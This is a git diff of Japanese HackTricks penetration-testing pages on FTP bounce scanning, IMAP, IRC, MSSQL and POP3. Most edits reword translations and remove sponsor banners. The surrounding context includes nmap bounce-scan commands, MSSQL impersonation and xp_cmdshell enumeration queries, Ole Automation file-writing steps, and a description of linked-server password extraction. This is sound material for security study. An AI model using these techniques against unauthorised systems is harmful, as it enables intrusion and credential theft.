これは**_ソケットが書き込み可能ではない_**というエラーを引き起こす可能性が非常に高いです**。これは、接続が`RETR`でデータを送信するのに十分長く続かないためです**。これを回避するための提案は次のとおりです:
|
||||
これは**_ソケットが書き込み可能ではない_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分長くないためです**。これを回避するための提案は:
|
||||
|
||||
* HTTPリクエストを送信している場合は、**同じリクエストを1つの後にもう1つ**、少なくとも**\~0.5MB**まで送信します。次のように:
|
||||
* HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts.txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みます(FTPと話す場合は、ジャンクコマンドやファイルを取得するために`RETR`命令を繰り返すこと)。
|
||||
* **リクエストを多くのヌル文字やその他のもので埋める**(行で分けるかどうかは問わず)。
|
||||
* **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みます(FTPと話す場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること)
|
||||
* **リクエストを多くのヌル文字や他の文字で埋める**(行で分けるかどうかは問わず)
|
||||
|
||||
とにかく、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md)
|
||||
いずれにせよ、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezillaサーバーの脆弱性
|
||||
|
||||
|
@ -224,15 +216,6 @@ vsFTPdのデフォルト設定は`/etc/vsftpd.conf`にあります。ここに
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -296,7 +279,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
|
||||
1. 脆弱なFTPに接続します
|
||||
2. **`PORT`**または**`EPRT`**(どちらか1つのみ)を使用して、スキャンしたい_\<IP:Port>_との接続を確立します:
|
||||
2. スキャンしたい _\<IP:Port>_ との接続を確立するために、**`PORT`**または**`EPRT`**(どちらか一方のみ)を使用します:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. **`LIST`**を使用します(これにより、接続された_\<IP:Port>_にFTPフォルダ内の現在のファイルのリストが送信されます)し、可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
|
||||
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、同様の`Open/Close`応答を探すこともできます。
|
||||
3. **`LIST`**を使用します(これにより、接続された _\<IP:Port>_ にFTPフォルダ内の現在のファイルのリストが送信されます)し、可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
|
||||
1. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、同様の`Open/Close`応答を探すこともできます。
|
||||
|
||||
**PORT**を使用した例(172.32.80.80のポート8080は開いており、ポート7777は閉じています):
|
||||
|
||||
|
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## インターネットメッセージアクセスプロトコル
|
||||
|
||||
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**どこからでもメールメッセージにアクセスできるようにする**ことを目的として設計されています。主にインターネット接続を通じて行われます。要するに、メールは**サーバーに保持され**、個人のデバイスにダウンロードして保存されることはありません。これは、メールにアクセスまたは読み取る際に、**サーバーから直接行われる**ことを意味します。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
|
||||
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**どの場所からでもメールメッセージにアクセスできるようにする**ことを目的として設計されています。主にインターネット接続を通じて行われます。要するに、メールは**サーバーに保持され**、個人のデバイスにダウンロードされて保存されることはありません。これは、メールにアクセスまたは読み取る際に、**サーバーから直接行われる**ことを意味します。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
|
||||
|
||||
デフォルトでは、IMAPプロトコルは2つのポートで動作します:
|
||||
|
||||
|
@ -112,7 +104,7 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
基本的なナビゲーションは[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)で可能ですが、ドキュメントは詳細に乏しいため、正確な詳細については[source](https://github.com/curl/curl/blob/master/lib/imap.c)を確認することをお勧めします。
|
||||
基本的なナビゲーションは[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)で可能ですが、ドキュメントは詳細に乏しいため、正確な詳細については[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)を確認することをお勧めします。
|
||||
|
||||
1. メールボックスのリスト表示 (imapコマンド `LIST "" "*"`)
|
||||
```bash
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
@ -203,7 +189,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
IRCは、最初は**プレーンテキストプロトコル**であり、IANAによって**194/TCP**が割り当てられましたが、一般的には**6667/TCP**や同様のポートで運用され、**root権限**なしで動作できるようにしています。
|
||||
IRCは、最初は**プレーンテキストプロトコル**であり、IANAによって**194/TCP**が割り当てられましたが、一般的には**6667/TCP**および類似のポートで実行され、**root権限**なしで操作できるようにしています。
|
||||
|
||||
サーバーに接続するためには**ニックネーム**だけが必要です。接続後、サーバーはユーザーのIPに対して逆DNSルックアップを行います。
|
||||
サーバーに接続するためには**ニックネーム**だけが必要です。接続後、サーバーはユーザーのIPに対して逆引きDNSルックアップを行います。
|
||||
|
||||
ユーザーは、より多くのアクセスのために**ユーザー名**と**パスワード**が必要な**オペレーター**と、通常の**ユーザー**に分かれます。オペレーターは、管理者が最上位にいるさまざまな権限レベルを持っています。
|
||||
ユーザーは、より多くのアクセスのために**ユーザー名**と**パスワード**が必要な**オペレーター**と、通常の**ユーザー**に分かれます。オペレーターは異なる権限レベルを持ち、管理者が最上位にいます。
|
||||
|
||||
**デフォルトポート:** 194, 6667, 6660-7000
|
||||
```
|
||||
|
@ -51,9 +38,9 @@ IRCは**TLS**をサポートできます。
|
|||
nc -vn <IP> <PORT>
|
||||
openssl s_client -connect <IP>:<PORT> -quiet
|
||||
```
|
||||
### マニュアル
|
||||
### Manual
|
||||
|
||||
ここでは、**ランダムなニックネーム**を使用してIRCに接続し、いくつかの興味深い情報を列挙する方法を示します。IRCのコマンドについては[こちら](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)で詳しく学ぶことができます。
|
||||
ここでは、いくつかの**ランダムなニックネーム**を使用してIRCに接続し、アクセスする方法と、いくつかの興味深い情報を列挙する方法を示します。IRCのコマンドについては[こちら](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)で詳しく学ぶことができます。
|
||||
```bash
|
||||
#Connection with random nickname
|
||||
USER ran213eqdw123 0 * ran213eqdw123
|
||||
|
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
* `ホスト名を調べる`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\\
|
||||
> **Microsoft SQL Server** は **リレーショナルデータベース** 管理システムで、Microsoft によって開発されました。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\\
|
||||
|
||||
**デフォルトポート:** 1433
|
||||
```
|
||||
|
@ -36,9 +28,9 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
### **デフォルト MS-SQL システムテーブル**
|
||||
|
||||
* **master データベース**: このデータベースは、SQL Server インスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。
|
||||
* **msdb データベース**: SQL Server Agent は、このデータベースを利用してアラートやジョブのスケジューリングを管理します。
|
||||
* **msdb データベース**: SQL Server Agent は、このデータベースを使用してアラートやジョブのスケジュールを管理します。
|
||||
* **model データベース**: SQL Server インスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
|
||||
* **Resource データベース**: SQL Server に付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resource データベースに物理的に保存されますが、すべてのデータベースの sys スキーマに論理的に表示されます。
|
||||
* **Resource データベース**: SQL Server に付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resource データベースに物理的に保存されている一方で、すべてのデータベースの sys スキーマに論理的に表示されます。
|
||||
* **tempdb データベース**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。
|
||||
|
||||
## 列挙
|
||||
|
@ -54,7 +46,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
|
|||
もし**資格情報**が**ない**場合は、それを推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (資格情報が必要)
|
||||
#### Metasploit(資格情報が必要)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
|
@ -165,7 +157,7 @@ SELECT * FROM sysusers
|
|||
2. **権限:** SQL Serverのセキュアブルに関連付けられ、ALTER、CONTROL、CREATEなどの権限が主体に付与されることがあります。権限の管理は2つのレベルで行われます:
|
||||
* **サーバーレベル** – ログインを使用
|
||||
* **データベースレベル** – ユーザーを使用
|
||||
3. **主体:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセスの制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
|
||||
3. **主体:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -190,7 +182,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### OSコマンドの実行
|
||||
|
||||
{% hint style="danger" %}
|
||||
コマンドを実行するためには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限を持っていること** も必要です。**`xp_cmdshell`** を使用できるユーザー(sysadminを除く)を取得するには、次のコマンドを使用できます:
|
||||
コマンドを実行するためには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限を持っていること** も必要です。誰が **`xp_cmdshell`** を使用できるか(sysadminを除く)を取得するには、次のコマンドを使用できます:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -256,7 +248,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### MSSQLの信頼されたリンクの悪用
|
||||
|
||||
[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能の悪用方法についての詳細情報を見つけるために:**
|
||||
[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけるために:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -264,7 +256,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### **ファイルの書き込み**
|
||||
|
||||
`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これには管理者権限が必要です。その後、ファイルを作成するためにいくつかのストアドプロシージャを実行します:
|
||||
`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -321,7 +313,7 @@ GO
|
|||
```
|
||||
### レジストリの読み取り
|
||||
|
||||
Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供しています。**
|
||||
Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供します。**
|
||||
|
||||
| **通常** | **インスタンス対応** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -406,7 +398,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
|||
```
|
||||
### 他のユーザーのなりすまし
|
||||
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが他のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -427,7 +419,7 @@ enum_links
|
|||
use_link [NAME]
|
||||
```
|
||||
{% hint style="info" %}
|
||||
ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース**やリンクサーバーにアクセスできるかどうかを確認するべきです。
|
||||
ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、他の**データベース**やリンクサーバーへの**アクセスがあるか**を確認するべきです。
|
||||
{% endhint %}
|
||||
|
||||
sysadminになると、他のユーザーを偽装できることに注意してください:
|
||||
|
@ -456,19 +448,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## SQL Server Linked Serversからのパスワード抽出
|
||||
|
||||
攻撃者はSQLインスタンスからSQL Server Linked Serversのパスワードを抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)にあります。
|
||||
攻撃者はSQL Server Linked ServersのパスワードをSQLインスタンスから抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)にあります。
|
||||
|
||||
このエクスプロイトが機能するためには、いくつかの要件と設定が必要です。まず第一に、マシン上で管理者権限を持っているか、SQL Serverの設定を管理する能力が必要です。
|
||||
|
||||
権限を確認した後、次の3つのことを設定する必要があります。
|
||||
|
||||
1. SQL ServerインスタンスでTCP/IPを有効にする。
|
||||
2. スタートアップパラメータを追加する。この場合、トレースフラグが追加されます。-T7806です。
|
||||
2. スタートアップパラメータを追加する。この場合、トレースフラグ-T7806が追加されます。
|
||||
3. リモート管理接続を有効にする。
|
||||
|
||||
これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
|
||||
これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、リポジトリには設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトもあります。
|
||||
|
||||
この攻撃に関するさらなる情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
この攻撃に関する詳細情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -497,15 +489,9 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の操作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。
|
||||
**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の動作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。
|
||||
|
||||
**デフォルトポート:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -96,19 +89,14 @@ password: PA$$W0RD!Z
|
|||
|
||||
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **設定** | **説明** |
|
||||
| **設定** | **説明** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | すべての認証デバッグログを有効にします。 |
|
||||
| `auth_debug` | すべての認証デバッグログを有効にします。 |
|
||||
| `auth_debug_passwords` | この設定はログの冗長性を調整し、送信されたパスワードとスキームがログに記録されます。 |
|
||||
| `auth_verbose` | 不成功な認証試行とその理由をログに記録します。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されたパスワードがログに記録され、切り捨てられることもあります。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 |
|
||||
| `auth_verbose` | 認証の失敗した試行とその理由をログに記録します。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されるパスワードがログに記録され、切り詰められることもあります。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
```
|
||||
|
@ -160,7 +148,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
